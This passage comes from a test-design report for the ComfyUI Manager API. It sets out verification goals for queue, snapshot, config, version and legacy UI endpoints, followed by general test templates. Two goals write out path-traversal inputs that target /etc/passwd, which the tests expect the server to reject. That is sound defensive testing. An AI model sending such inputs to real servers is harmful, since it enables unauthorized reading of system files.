- **Negative check**: no re-download (verify via timing or lack of network log)
|
||||
|
||||
### Goal A4 — Reject bad kind (validation error)
|
||||
- **Precondition**: queue empty or known state
|
||||
- **Action**: POST queue/task with kind="garbage"
|
||||
- **Observable**: response status; `queue/status.total_count` before/after
|
||||
- **Assertion**: 400 + ValidationError text; total_count unchanged
|
||||
- **Negative check**: no pack changes; no task in history
|
||||
|
||||
### Goal A5 — Reject missing ui_id/client_id (traceability gate)
|
||||
- **Action**: POST queue/task without ui_id OR without client_id
|
||||
- **Assertion**: 400; no task queued (verify via status counts)
|
||||
|
||||
### Goal A6 — Worker auto-starts on task queue
|
||||
- **Precondition**: worker idle
|
||||
- **Action**: POST queue/task (any valid)
|
||||
- **Observable**: `queue/status.is_processing` polling
|
||||
- **Assertion**: within N seconds is_processing becomes true; eventually done_count increments
|
||||
|
||||
## 1.2 POST /v2/manager/queue/task (kind=uninstall)
|
||||
|
||||
### Goal U1 — Remove installed pack
|
||||
- **Precondition**: pack present; in `installed` list
|
||||
- **Action**: POST queue/task kind=uninstall params.node_name=<cnr_id>
|
||||
- **Observable**: filesystem pack dir; `customnode/installed`
|
||||
- **Assertion**: pack dir absent AND cnr_id absent from installed
|
||||
- **Negative check**: other packs untouched; no orphan files in .disabled/
|
||||
|
||||
### Goal U2 — Idempotent uninstall of missing pack
|
||||
- **Precondition**: pack absent
|
||||
- **Action**: POST queue/task kind=uninstall for non-existent pack
|
||||
- **Assertion**: task completes without raising fatal error; state unchanged
|
||||
|
||||
## 1.3 POST /v2/manager/queue/task (kind=update)
|
||||
|
||||
### Goal UP1 — Upgrade pack to newer version
|
||||
- **Precondition**: pack installed at version X; version Y > X available
|
||||
- **Action**: POST queue/task kind=update params.node_name, node_ver
|
||||
- **Observable**: `.tracking` file content (version field); CNR API version
|
||||
- **Assertion**: pack still present; new version recorded; dependencies updated
|
||||
- **Negative check**: no partial state (no half-cloned dir)
|
||||
|
||||
### Goal UP2 — Idempotent when already up-to-date
|
||||
- **Precondition**: pack at latest version
|
||||
- **Action**: POST queue/task kind=update
|
||||
- **Assertion**: no version downgrade; no pack removal; task completes
|
||||
|
||||
## 1.4 POST /v2/manager/queue/task (kind=fix)
|
||||
|
||||
### Goal F1 — Reinstall dependencies of existing pack
|
||||
- **Precondition**: pack present; dependencies broken (simulate by removing from venv)
|
||||
- **Action**: POST queue/task kind=fix params.node_name, node_ver
|
||||
- **Observable**: venv site-packages for pack's requirements; import succeeds
|
||||
- **Assertion**: after fix, all declared requirements importable; pack dir unchanged (same HEAD)
|
||||
|
||||
## 1.5 POST /v2/manager/queue/task (kind=disable)
|
||||
|
||||
### Goal D1 — Move pack to disabled state reversibly
|
||||
- **Precondition**: pack active
|
||||
- **Action**: POST queue/task kind=disable params.node_name, is_unknown
|
||||
- **Observable**: `custom_nodes/.disabled/<pack>/` exists; `custom_nodes/<pack>/` absent
|
||||
- **Assertion**: pack relocated to .disabled/; not in active installed list; on reload NODE_CLASS_MAPPINGS lacks its nodes
|
||||
- **Negative check**: pack files preserved (not deleted)
|
||||
|
||||
### Goal D2 — Idempotent disable of already-disabled pack
|
||||
- **Precondition**: pack in .disabled/
|
||||
- **Action**: POST queue/task kind=disable
|
||||
- **Assertion**: pack still in .disabled/; no duplicate; no error
|
||||
|
||||
## 1.6 POST /v2/manager/queue/task (kind=enable)
|
||||
|
||||
### Goal E1 — Restore pack from .disabled/ to active
|
||||
- **Precondition**: pack in .disabled/
|
||||
- **Action**: POST queue/task kind=enable params.cnr_id
|
||||
- **Observable**: `custom_nodes/<pack>/` exists (may be lowercase variant); .disabled/ entry gone
|
||||
- **Assertion**: pack active; appears in installed; on next reload nodes load
|
||||
- **Negative check**: no duplicate entries
|
||||
|
||||
## 1.7 POST /v2/manager/queue/install_model
|
||||
|
||||
### Goal IM1 — Download model to correct subdirectory
|
||||
- **Precondition**: model file absent; URL in whitelist
|
||||
- **Action**: POST queue/install_model with valid ModelMetadata + client_id + ui_id
|
||||
- **Observable**: `models/<type>/<filename>` file; file size > 0
|
||||
- **Assertion**: file exists + non-zero size; externalmodel/getlist shows installed=True
|
||||
- **Negative check**: no orphan partial downloads
|
||||
|
||||
### Goal IM2 — Reject missing client_id / ui_id
|
||||
- **Action**: POST install_model without one of them
|
||||
- **Assertion**: 400; no task queued; no download attempted
|
||||
|
||||
### Goal IM3 — Reject non-whitelist URL (legacy)
|
||||
- **Action**: POST install_model with URL NOT in whitelist
|
||||
- **Assertion**: 400; no file written
|
||||
|
||||
### Goal IM4 — Block non-safetensors below high+ security
|
||||
- **Precondition**: security_level < high+
|
||||
- **Action**: POST install_model with filename="*.ckpt"
|
||||
- **Assertion**: 403; no file written
|
||||
|
||||
## 1.8 POST /v2/manager/queue/update_all
|
||||
|
||||
### Goal UA1 — Queue update tasks for all active packs
|
||||
- **Precondition**: N active packs installed; queue empty
|
||||
- **Action**: POST queue/update_all with ui_id, client_id, mode
|
||||
- **Observable**: `queue/status.pending_count` delta
|
||||
- **Assertion**: pending_count increased by N (minus manager-skip if desktop); each queued task has kind=update + correct node_name
|
||||
- **Negative check**: comfyui-manager NOT in queue if __COMFYUI_DESKTOP_VERSION__ set
|
||||
|
||||
### Goal UA2 — Security gate (<middle+)
|
||||
- **Precondition**: security_level < middle+
|
||||
- **Action**: POST queue/update_all
|
||||
- **Assertion**: 403; no tasks queued
|
||||
|
||||
### Goal UA3 — Require ui_id + client_id
|
||||
- **Action**: POST queue/update_all without required params
|
||||
- **Assertion**: 400 ValidationError; no queue change
|
||||
|
||||
## 1.9 POST /v2/manager/queue/update_comfyui
|
||||
|
||||
### Goal UC1 — Queue ComfyUI self-update task
|
||||
- **Action**: POST queue/update_comfyui with client_id, ui_id
|
||||
- **Observable**: queue/status.total_count; queued task's params
|
||||
- **Assertion**: total_count += 1; queued task has kind=update-comfyui with is_stable matching config or override
|
||||
- **Negative check**: actual git operation doesn't start (task queued only)
|
||||
|
||||
### Goal UC2 — Explicit stable flag override
|
||||
- **Action**: POST queue/update_comfyui?stable=true (config says nightly)
|
||||
- **Assertion**: queued task.params.is_stable == true
|
||||
|
||||
## 1.10 POST /v2/manager/queue/reset
|
||||
|
||||
### Goal R1 — Clear all queued/running/history tasks
|
||||
- **Precondition**: queue has N tasks
|
||||
- **Action**: POST queue/reset
|
||||
- **Observable**: queue/status all counts
|
||||
- **Assertion**: total_count=done_count=in_progress_count=pending_count=0; is_processing=false
|
||||
- **Negative check**: history tasks also cleared
|
||||
|
||||
### Goal R2 — Idempotent on empty queue
|
||||
- **Precondition**: queue empty
|
||||
- **Action**: POST queue/reset (2 times)
|
||||
- **Assertion**: 200 both times; state still empty
|
||||
|
||||
## 1.11 POST /v2/manager/queue/start
|
||||
|
||||
### Goal S1 — Start worker when idle
|
||||
- **Precondition**: is_processing=false; queue has tasks
|
||||
- **Action**: POST queue/start
|
||||
- **Assertion**: 200; is_processing=true; tasks begin processing (done_count eventually increments)
|
||||
|
||||
### Goal S2 — Don't spawn duplicate worker
|
||||
- **Precondition**: is_processing=true
|
||||
- **Action**: POST queue/start
|
||||
- **Assertion**: 201; still is_processing=true; same worker pid (observable via logs)
|
||||
- **Negative check**: no duplicate task processing (each task runs once)
|
||||
|
||||
## 1.12 GET /v2/manager/queue/status
|
||||
|
||||
### Goal QS1 — Accurate overall counts
|
||||
- **Precondition**: known queue state (e.g., 3 pending, 1 running, 2 done)
|
||||
- **Action**: GET queue/status
|
||||
- **Assertion**: counts match actual internal queue state
|
||||
|
||||
### Goal QS2 — Client-filtered counts
|
||||
- **Precondition**: tasks from multiple client_ids
|
||||
- **Action**: GET queue/status?client_id=X
|
||||
- **Assertion**: response.client_id == X; counts reflect only X's tasks
|
||||
|
||||
## 1.13 GET /v2/manager/queue/history
|
||||
|
||||
### Goal QH1 — Retrieve batch history by id
|
||||
- **Precondition**: batch file exists at manager_batch_history_path
|
||||
- **Action**: GET queue/history?id=<batch_id>
|
||||
- **Assertion**: response JSON matches file contents
|
||||
|
||||
### Goal QH2 — Reject path traversal
|
||||
- **Action**: GET queue/history?id=../../../etc/passwd
|
||||
- **Assertion**: 400 "Invalid history id"; no file read attempt
|
||||
|
||||
### Goal QH3 — Filter by ui_id / client_id / pagination
|
||||
- **Action**: GET queue/history with respective query params
|
||||
- **Assertion**: results properly filtered/paginated
|
||||
|
||||
## 1.14 GET /v2/manager/queue/history_list
|
||||
|
||||
### Goal QHL1 — List batch IDs sorted by mtime
|
||||
- **Precondition**: files exist in history dir
|
||||
- **Action**: GET queue/history_list
|
||||
- **Assertion**: ids list == filenames (stem) sorted by mtime desc
|
||||
|
||||
### Goal QHL2 — Empty list when no history
|
||||
- **Precondition**: empty dir
|
||||
- **Assertion**: `{ids: []}`; 200
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — CustomNode Info Verification Design
|
||||
|
||||
## 2.1 GET /v2/customnode/getmappings
|
||||
|
||||
### Goal CM1 — Return comprehensive node→pack mapping
|
||||
- **Action**: GET getmappings?mode=local (or cache/remote)
|
||||
- **Observable**: response dict; current NODE_CLASS_MAPPINGS
|
||||
- **Assertion**: every currently-loaded node appears in some entry's node_list OR matches a nodename_pattern regex
|
||||
- **Negative check**: no stale entries for uninstalled packs
|
||||
|
||||
### Goal CM2 — Nickname mode applies filter
|
||||
- **Action**: GET getmappings?mode=nickname
|
||||
- **Assertion**: entries include nickname field filtered by nickname_filter rules
|
||||
|
||||
### Goal CM3 — Require explicit mode
|
||||
- **Action**: GET getmappings (no mode param)
|
||||
- **Assertion**: server error (500/KeyError); no partial data
|
||||
|
||||
## 2.2 GET /v2/customnode/fetch_updates (deprecated)
|
||||
|
||||
### Goal FU1 — Signal deprecation to clients
|
||||
- **Action**: GET fetch_updates?mode=local
|
||||
- **Assertion**: 410 status; body `{deprecated: true, error: ..., message: ...}`
|
||||
- **Negative check**: no git fetch executed (no mtime changes on .git/)
|
||||
|
||||
## 2.3 GET /v2/customnode/installed
|
||||
|
||||
### Goal IL1 — Current installed packs
|
||||
- **Precondition**: known packs installed
|
||||
- **Action**: GET installed
|
||||
- **Assertion**: response dict keys include all installed pack identifiers; each entry has cnr_id + version + enabled
|
||||
|
||||
### Goal IL2 — imported mode is startup-frozen
|
||||
- **Precondition**: install a new pack post-startup
|
||||
- **Action**: GET installed?mode=imported
|
||||
- **Assertion**: new pack absent from response (startup snapshot unchanged)
|
||||
- **Negative check**: default mode DOES show new pack (proves they differ)
|
||||
|
||||
## 2.4 POST /v2/customnode/import_fail_info
|
||||
|
||||
### Goal IF1 — Return failure info for failed pack
|
||||
- **Precondition**: pack exists in `cm_global.error_dict`
|
||||
- **Action**: POST import_fail_info {cnr_id}
|
||||
- **Assertion**: 200; response has `msg` + `traceback`; content matches error_dict entry
|
||||
|
||||
### Goal IF2 — Reject unknown pack
|
||||
- **Action**: POST import_fail_info {cnr_id: "unknown-12345"}
|
||||
- **Assertion**: 400; no response body with info
|
||||
|
||||
### Goal IF3 — Validate request body shape
|
||||
- **Action**: POST import_fail_info with non-dict OR missing both fields OR wrong type
|
||||
- **Assertion**: 400 with specific error text
|
||||
|
||||
## 2.5 POST /v2/customnode/import_fail_info_bulk
|
||||
|
||||
### Goal IFB1 — Return per-pack lookup results
|
||||
- **Action**: POST import_fail_info_bulk {cnr_ids: [known, unknown]}
|
||||
- **Assertion**: 200; response maps known→info dict, unknown→null
|
||||
|
||||
### Goal IFB2 — Reject empty lists
|
||||
- **Action**: POST with {cnr_ids:[], urls:[]}
|
||||
- **Assertion**: 400 "Either 'cnr_ids' or 'urls' field is required"
|
||||
|
||||
---
|
||||
|
||||
# Section 3 — Snapshot Verification Design
|
||||
|
||||
## 3.1 GET /v2/snapshot/get_current
|
||||
|
||||
### Goal SG1 — Capture current state accurately
|
||||
- **Precondition**: known set of packs installed
|
||||
- **Action**: GET snapshot/get_current
|
||||
- **Assertion**: response has comfyui (hash/tag), git_custom_nodes (list), cnr_custom_nodes (list), pips; entries match actual installed state
|
||||
|
||||
## 3.2 POST /v2/snapshot/save
|
||||
|
||||
### Goal SS1 — Persist current state to retrievable file
|
||||
- **Precondition**: snapshot dir exists
|
||||
- **Action**: POST snapshot/save
|
||||
- **Observable**: new file in manager_snapshot_path; snapshot/getlist response
|
||||
- **Assertion**: new timestamped file created; content matches get_current() at save time; appears in getlist.items
|
||||
- **Negative check**: other snapshots untouched
|
||||
|
||||
### Goal SS2 — Multiple saves create distinct files
|
||||
- **Action**: POST save; wait 1s; POST save
|
||||
- **Assertion**: 2 distinct new entries in getlist
|
||||
|
||||
## 3.3 GET /v2/snapshot/getlist
|
||||
|
||||
### Goal SL1 — List matches filesystem
|
||||
- **Action**: GET snapshot/getlist
|
||||
- **Assertion**: items == .json files in snapshot dir (stems), desc sorted
|
||||
|
||||
## 3.4 POST /v2/snapshot/remove
|
||||
|
||||
### Goal SR1 — Delete snapshot permanently
|
||||
- **Precondition**: target snapshot exists
|
||||
- **Action**: POST snapshot/remove?target=<id>
|
||||
- **Assertion**: file removed from disk; absent from getlist
|
||||
- **Negative check**: other snapshots untouched
|
||||
|
||||
### Goal SR2 — Idempotent on missing target
|
||||
- **Action**: POST remove?target=nonexistent
|
||||
- **Assertion**: 200 no-op
|
||||
|
||||
### Goal SR3 — Reject path traversal
|
||||
- **Action**: POST remove?target=../../etc/passwd
|
||||
- **Assertion**: 400 "Invalid target"; no file ops outside snapshot dir
|
||||
|
||||
### Goal SR4 — Security gate (<middle)
|
||||
- **Precondition**: security_level < middle
|
||||
- **Action**: POST remove
|
||||
- **Assertion**: 403; target file untouched
|
||||
- **Test reference**: `tests/e2e/test_e2e_secgate_strict.py::TestSecurityGate403_SR4::test_remove_returns_403` (WI-KK PoC, audit-integrated by WI-LL — uses `start_comfyui_strict.sh` strict-mode fixture)
|
||||
|
||||
## 3.5 POST /v2/snapshot/restore
|
||||
|
||||
### Goal SR5 — Schedule snapshot restore for next reboot
|
||||
- **Precondition**: target snapshot exists
|
||||
- **Action**: POST restore?target=<id>
|
||||
- **Observable**: manager_startup_script_path for `restore-snapshot.json`
|
||||
- **Assertion**: restore-snapshot.json exists; content == target snapshot; (downstream: reboot → state reverts)
|
||||
|
||||
### Goal SR6 — Security gate (<middle+)
|
||||
- **Assertion**: 403; no marker file
|
||||
|
||||
---
|
||||
|
||||
# Section 4 — Config Verification Design
|
||||
|
||||
## 4.1 GET /v2/manager/db_mode
|
||||
|
||||
### Goal C1 — Return current config value
|
||||
- **Action**: GET db_mode
|
||||
- **Assertion**: text response ∈ {cache, channel, local, remote}; matches config.ini[db_mode]
|
||||
|
||||
## 4.2 POST /v2/manager/db_mode
|
||||
|
||||
### Goal C2 — Persist new value to config.ini
|
||||
- **Precondition**: original value X
|
||||
- **Action**: POST db_mode {value: Y} where Y ≠ X
|
||||
- **Observable**: GET db_mode after POST; config.ini file content; GET after process restart
|
||||
- **Assertion**: GET returns Y; config.ini updated; survives restart (restart + re-GET returns Y)
|
||||
- **Cleanup**: restore X
|
||||
|
||||
### Goal C3 — Reject malformed JSON / missing value
|
||||
- **Action**: POST with non-JSON body OR {foo: bar}
|
||||
- **Assertion**: 400; config.ini unchanged
|
||||
|
||||
## 4.3-4.4 GET/POST /v2/manager/policy/update
|
||||
|
||||
Same verification pattern as db_mode, with policy values ∈ {stable, stable-comfyui, nightly, nightly-comfyui}.
|
||||
|
||||
## 4.5 GET /v2/manager/channel_url_list
|
||||
|
||||
### Goal C4 — Return selected + available channels
|
||||
- **Action**: GET channel_url_list
|
||||
- **Assertion**: response has selected (str) + list (array of "name::url" strings); selected == name whose URL matches config.channel_url else "custom"
|
||||
|
||||
## 4.6 POST /v2/manager/channel_url_list
|
||||
|
||||
### Goal C5 — Switch channel by name
|
||||
- **Precondition**: original channel X
|
||||
- **Action**: POST {value: Y} where Y is a known channel name
|
||||
- **Observable**: GET after POST
|
||||
- **Assertion**: selected == Y; config.channel_url == channels[Y]
|
||||
- **Cleanup**: restore X
|
||||
|
||||
### Goal C6 — Silent no-op on unknown name
|
||||
- **Action**: POST {value: "nonexistent-channel-xyz"}
|
||||
- **Assertion**: 200; selected UNCHANGED (verify via GET)
|
||||
|
||||
---
|
||||
|
||||
# Section 5 — System + ComfyUI Version Verification Design
|
||||
|
||||
## 5.1 GET /v2/manager/version
|
||||
|
||||
### Goal V1 — Consistent version string
|
||||
- **Action**: GET version × 2 consecutive calls
|
||||
- **Assertion**: both return same non-empty string == core.version_str
|
||||
|
||||
## 5.2 GET /v2/manager/is_legacy_manager_ui
|
||||
|
||||
### Goal V2 — Reflect CLI flag
|
||||
- **Precondition**: server started with/without --enable-manager-legacy-ui
|
||||
- **Action**: GET is_legacy_manager_ui
|
||||
- **Assertion**: response.is_legacy_manager_ui matches the actual CLI flag
|
||||
|
||||
## 5.3 POST /v2/manager/reboot
|
||||
|
||||
### Goal V3 — Process restart + recovery
|
||||
- **Precondition**: server running; pre_version captured
|
||||
- **Action**: POST reboot
|
||||
- **Observable**: connection behavior; health endpoint polling; post-reboot version
|
||||
- **Assertion**: connection drops or 200; within N seconds server responds again; post_version == pre_version (verifies core state preserved)
|
||||
- **Negative check**: config unchanged across reboot
|
||||
|
||||
### Goal V4 — COMFY_CLI_SESSION mode
|
||||
- **Precondition**: __COMFY_CLI_SESSION__ env set
|
||||
- **Action**: POST reboot
|
||||
- **Assertion**: `.reboot` marker file created; process exits with code 0 (external manager restarts)
|
||||
|
||||
### Goal V5 — Security gate (<middle)
|
||||
- **Action**: POST reboot at low security
|
||||
- **Assertion**: 403; server continues (no restart occurs)
|
||||
|
||||
## 5.4 GET /v2/comfyui_manager/comfyui_versions
|
||||
|
||||
### Goal CV1 — Enumerate versions + current
|
||||
- **Action**: GET comfyui_versions
|
||||
- **Assertion**: response `{versions, current}`; versions list non-empty; each item is string; current ∈ versions; matches actual `.git` tags/commits
|
||||
|
||||
### Goal CV2 — Fail cleanly on non-git
|
||||
- **Precondition**: ComfyUI dir not a git repo (simulate)
|
||||
- **Action**: GET
|
||||
- **Assertion**: 400; no partial response
|
||||
|
||||
## 5.5 POST /v2/comfyui_manager/comfyui_switch_version
|
||||
|
||||
### Goal CV3 — Queue update-comfyui task with target_version
|
||||
- **Precondition**: security_level ≥ high+
|
||||
- **Action**: POST switch_version?ver=X&client_id=Y&ui_id=Z
|
||||
- **Observable**: queue/status; queued task params
|
||||
- **Assertion**: task queued with params.target_version=X
|
||||
- **Note**: actual switch (destructive) NOT verified in E2E
|
||||
|
||||
### Goal CV4 — Security gate (<high+)
|
||||
- **Action**: POST switch_version at lower security
|
||||
- **Assertion**: 403; no task queued
|
||||
- **Test reference**: `tests/e2e/test_e2e_secgate_default.py::TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` (WI-KK demo, audit-integrated by WI-LL — runs at default `security_level=normal`; WI-KK research showed `is_local_mode=True + normal` is already outside the `[WEAK, NORMAL_]` allowed set for high+, so no harness is needed)
|
||||
|
||||
### Goal CV5 — Validate params
|
||||
- **Action**: POST without ver OR without client_id/ui_id
|
||||
- **Assertion**: 400 with error details; no task queued
|
||||
|
||||
---
|
||||
|
||||
# Section 6 — Legacy-only Verification Design (UI → effect)
|
||||
|
||||
All verification here assumes Playwright UI interaction as the Action. Effect is observed through both UI state and backend filesystem/state.
|
||||
|
||||
## 6.1 POST /v2/manager/queue/batch
|
||||
|
||||
### Goal LB1 — Install via UI row "Install" button
|
||||
- **Precondition**: pack not installed; Custom Nodes Manager dialog open
|
||||
- **Action (UI)**: filter to Not Installed → click Install on target row → click "Select" on version dialog
|
||||
- **Observable**: backend: custom_nodes/<pack>/ + `.tracking`; UI: row badge changes to "Installed"; WebSocket: cm-queue-status all-done
|
||||
- **Assertion**: backend install effect + UI state updates
|
||||
|
||||
### Goal LB2 — Uninstall via UI
|
||||
- **Precondition**: pack installed
|
||||
- **Action (UI)**: click "Uninstall" button on row
|
||||
- **Observable**: backend: pack dir removed; UI: row shows "Not Installed"
|
||||
- **Assertion**: both states consistent
|
||||
|
||||
### Goal LB3 — Disable via UI
|
||||
- **Action (UI)**: click "Disable" button on row
|
||||
- **Assertion**: pack in .disabled/; UI row shows "Disabled"
|
||||
|
||||
### Goal LB4 — Update all via menu
|
||||
- **Action (UI)**: Manager menu → "Update All"
|
||||
- **Observable**: queue/status; progress indicator in UI
|
||||
- **Assertion**: N tasks queued; UI progress reflects N; eventual completion
|
||||
|
||||
### Goal LB5 — Batch partial failure reporting
|
||||
- **Action (UI)**: batch with one guaranteed-fail pack
|
||||
- **Observable**: response.failed array; UI notification
|
||||
- **Assertion**: failed list contains only failed pack id; others succeeded
|
||||
|
||||
## 6.2 GET /v2/customnode/getlist
|
||||
|
||||
### Goal LG1 — Populate Custom Nodes Manager dialog
|
||||
- **Action (UI)**: click "Custom Nodes Manager" from Manager menu
|
||||
- **Observable**: UI grid rows
|
||||
- **Assertion**: rows > 0; each row has Title + Installed/Not-Installed state + Install/Uninstall button
|
||||
|
||||
### Goal LG2 — skip_update=true optimizes loading
|
||||
- **Action (UI)**: open dialog with flag set (URL param or setting)
|
||||
- **Observable**: loading time; network log
|
||||
- **Assertion**: no git fetch calls; load time < N seconds
|
||||
|
||||
## 6.3 GET /customnode/alternatives
|
||||
|
||||
### Goal LA1 — Show alternatives on dedicated UI flow
|
||||
- **Action (UI)**: trigger alternatives display (specific button or context)
|
||||
- **Observable**: alternatives panel/dialog
|
||||
- **Assertion**: populated with alter-list.json entries (at least one if data exists)
|
||||
|
||||
## 6.4 GET /v2/externalmodel/getlist
|
||||
|
||||
### Goal LM1 — Populate Model Manager dialog
|
||||
- **Action (UI)**: open Model Manager
|
||||
- **Observable**: UI grid
|
||||
- **Assertion**: rows > 0; each row has `installed` flag accurately reflecting filesystem
|
||||
|
||||
### Goal LM2 — Install flag correctness
|
||||
- **Precondition**: pre-existing model file at known path
|
||||
- **Action (UI)**: open Model Manager
|
||||
- **Assertion**: that model row shows "Installed"
|
||||
|
||||
## 6.5 GET /v2/customnode/versions/{node_name}
|
||||
|
||||
### Goal LV1 — Version dropdown on Install click
|
||||
- **Action (UI)**: click Install on a CNR pack row
|
||||
- **Observable**: version selector (select multiple) in modal
|
||||
- **Assertion**: dropdown options match CNR registry versions for that pack; "latest" option present
|
||||
|
||||
### Goal LV2 — Unknown pack → 400 (UI should handle)
|
||||
- **Action**: direct API call with bogus node_name
|
||||
- **Assertion**: 400; UI shows error or skips
|
||||
|
||||
## 6.6 GET /v2/customnode/disabled_versions/{node_name}
|
||||
|
||||
### Goal LDV1 — Show disabled versions for re-enable
|
||||
- **Precondition**: pack has disabled versions
|
||||
- **Action (UI)**: open pack's "Disabled Versions" dropdown
|
||||
- **Observable**: dropdown options
|
||||
- **Assertion**: options match backend disabled_versions response
|
||||
|
||||
## 6.7 POST /v2/customnode/install/git_url
|
||||
|
||||
### Goal LGU1 — Install via "Install via Git URL" button
|
||||
- **Precondition**: security_level ≥ high+; pack absent
|
||||
- **Action (UI)**: click button → enter URL → confirm
|
||||
- **Observable**: custom_nodes/<pack>/ + .git/
|
||||
- **Assertion**: pack cloned; UI reflects
|
||||
|
||||
### Goal LGU2 — Security gate
|
||||
- **Precondition**: security_level < high+
|
||||
- **Assertion**: 403 from API; UI shows error; no clone occurs
|
||||
|
||||
## 6.8 POST /v2/customnode/install/pip
|
||||
|
||||
### Goal LPP1 — Install pip packages via UI
|
||||
- **Action (UI)**: trigger pip install flow with known package
|
||||
- **Observable**: venv site-packages
|
||||
- **Assertion**: package importable after install
|
||||
|
||||
### Goal LPP2 — Security gate
|
||||
- **Assertion**: 403 at lower security; no pip invocation
|
||||
|
||||
## 6.9 GET /v2/manager/notice
|
||||
|
||||
### Goal LN1 — Fetch and display News
|
||||
- **Precondition**: GitHub reachable
|
||||
- **Action**: GET manager/notice (triggered on Manager menu open)
|
||||
- **Assertion**: HTML response; contains expected markdown-body content; footer has ComfyUI + Manager version
|
||||
|
||||
### Goal LN2 — Graceful on GitHub unreachable
|
||||
- **Precondition**: network blocked
|
||||
- **Assertion**: "Unable to retrieve Notice" returned; no server crash; UI shows message
|
||||
|
||||
### Goal LN3 — Non-git ComfyUI warning
|
||||
- **Precondition**: ComfyUI dir not a git repo
|
||||
- **Assertion**: response starts with "isn't git repo" warning paragraph
|
||||
|
||||
### Goal LN4 — Outdated ComfyUI warning
|
||||
- **Precondition**: comfy_ui_commit_datetime.date() < required_commit_datetime.date()
|
||||
- **Assertion**: response starts with "too OUTDATED!!!" paragraph
|
||||
|
||||
---
|
||||
|
||||
# Section 7 — Cross-cutting Intent Pattern Templates
|
||||
|
||||
Reusable verification templates organized by intent category. Apply the template to any scenario of that type.
|
||||
|
||||
## 7.1 User Capability Template
|
||||
|
||||
**Goal**: User accomplishes task X.
|
||||
|
||||
**Verification structure**:
|
||||
1. **Precondition check**: state is F0 (function not yet performed)
|
||||
2. **Invoke action**: endpoint call or UI interaction
|
||||
3. **Wait for completion**: poll status endpoint OR WebSocket event OR filesystem observer
|
||||
4. **Observable assertions** (in order):
|
||||
- Response status 2xx
|
||||
- Response body schema correct
|
||||
- Side-effect state is F1 (function performed)
|
||||
- Secondary state changes (counters, history, lists) reflect the change
|
||||
5. **Negative checks**:
|
||||
- No orphan state (partial writes, stale locks)
|
||||
- Other unrelated state unchanged (blast radius contained)
|
||||
6. **Cleanup**: restore F0 where possible (for idempotent tests)
|
||||
|
||||
**Examples in this report**: A1, A2, U1, UP1, D1, E1, IM1, UA1, R1, S1, SS1, SR1, C2, C5, V3, CV3, LB1-LB5, LGU1, LPP1
|
||||
|
||||
## 7.2 Input Resilience Template
|
||||
|
||||
**Goal**: Bad input must be rejected without side effects.
|
||||
|
||||
**Verification structure**:
|
||||
1. **Precondition**: system in known-good state S0
|
||||
2. **Action**: send malformed/invalid input (craft variants per endpoint):
|
||||
- Malformed JSON (raw text, wrong Content-Type)
|
||||
- Missing required field
|
||||
- Wrong type for field
|
||||
- Out-of-range value
|
||||
- Extraneous unexpected field (should be ignored)
|
||||
3. **Observable assertions**:
|
||||
- Response 4xx (400 typical; 500 only if server constraint like KeyError)
|
||||
- Error message identifies the problem (if surfaced)
|
||||
4. **Negative checks** (the critical part):
|
||||
- State S1 == S0 (no mutation)
|
||||
- Queue/history not populated
|
||||
- Filesystem unchanged
|
||||
- No downstream side effects (no email, no download, no process start)
|
||||
|
||||
**Examples**: A4, A5, U1 (missing target), IM2, UA3, UC2 edges, QH2, IF2, IF3, IFB2, C3, LV2
|
||||
|
||||
## 7.3 Security Boundary Template
|
||||
|
||||
**Goal**: Operations requiring privilege X must fail at lower privilege.
|
||||
|
||||
**Verification structure**:
|
||||
1. **Precondition**: server running at specific `security_level` below the gate
|
||||
2. **Action**: invoke the privileged endpoint
|
||||
3. **Observable assertions**:
|
||||
- Response 403
|
||||
- Server log contains security-denied message
|
||||
4. **Critical negative checks**:
|
||||
- NO task queued
|
||||
- NO filesystem change
|
||||
- NO network operation initiated
|
||||
- NO config change
|
||||
- NO process change (no restart, no exit)
|
||||
5. **Positive counterpart**: at or above required level, operation succeeds
|
||||
|
||||
**Security tiers to cover**:
|
||||
- `middle` — reboot, snapshot/remove, _uninstall, _update
|
||||
- `middle+` — update_all, snapshot/restore, _install_custom_node, _install_model
|
||||
- `high+` — comfyui_switch_version, install/git_url, install/pip, non-safetensors model, _fix (`middle` → `high` in commit `c8992e5d`; subsequent `high` → `high+` in WI-#235 to align the gate with the `SECURITY_MESSAGE_HIGH_P` log text)
|
||||
|
||||
**Path-traversal sub-template** (within security boundary):
|
||||
1. Action: request with `../`, absolute path, encoded traversal
|
||||
2. Assertion: 400 "Invalid target" or similar
|
||||
3. Negative check: target file unchanged; no files outside the endpoint's scope accessed
|
||||
|
||||
**Examples**: IM4, UA2, SR3, SR4, SR6, V5, CV4, LGU2, LPP2, QH2
|
||||
|
||||
## 7.4 Observability Template
|
||||
|
||||
**Goal**: Caller can trust the response to reflect actual system state.
|
||||
|
||||
**Verification structure**:
|
||||
1. **Establish known state**: inject a known delta (queue a task, install a pack, save a snapshot)
|
||||
2. **Read endpoint**: GET the observability endpoint
|
||||
3. **Assertion**: response reflects the known delta
|
||||
4. **Consistency check**: read again immediately; result identical (no race/jitter)
|
||||
5. **Schema check**: all expected fields present with correct types
|
||||
|
||||
**Required-identity fields** (traceability sub-pattern):
|
||||
- client_id + ui_id must be present in inputs for all state-mutating endpoints
|
||||
- Verify that history/status queries can locate tasks by these IDs
|
||||
|
||||
**Examples**: QS1, QS2, QH1, QH3, IL1, IL2, SL1, C1, V1, V2, CV1, LG1, LM1, LM2, LV1, LDV1
|
||||
|
||||
## 7.5 Idempotency Template
|
||||
|
||||
**Goal**: Re-invoking an operation on an already-satisfied state is safe.
|
||||
|
||||
**Verification structure**:
|
||||
1. **Invoke operation** to reach state F1
|
||||
2. **Invoke same operation again** (no intermediate state change)
|
||||
3. **Assertions**:
|
||||
- Response 2xx (same or semantically equivalent status, e.g., 200/201)
|
||||
- State remains F1 (no regression, no duplicate)
|
||||
- No error raised
|
||||
4. **Stress variant**: invoke N times in rapid succession; ensure no race condition
|
||||
|
||||
**Examples**: U2, UP2, D2, E2, R2, S2, SS2 (distinct but both succeed), SR2, C6
|
||||
|
||||
## 7.6 Data Integrity Template
|
||||
|
||||
**Goal**: Config / runtime constants remain stable and consistent.
|
||||
|
||||
**Verification structure**:
|
||||
1. **Read constant twice** (consecutive or across operations)
|
||||
2. **Assertion**: identical values
|
||||
3. **Persistence across restart**: set value → reboot → re-read
|
||||
4. **Assertion**: value persisted
|
||||
|
||||
**Examples**: V1 (version idempotent), C2 (db_mode survives restart), CV1 (versions list stable)
|
||||
|
||||
## 7.7 Recovery Template
|
||||
|
||||
**Goal**: System can recover from failure or drifted state.
|
||||
|
||||
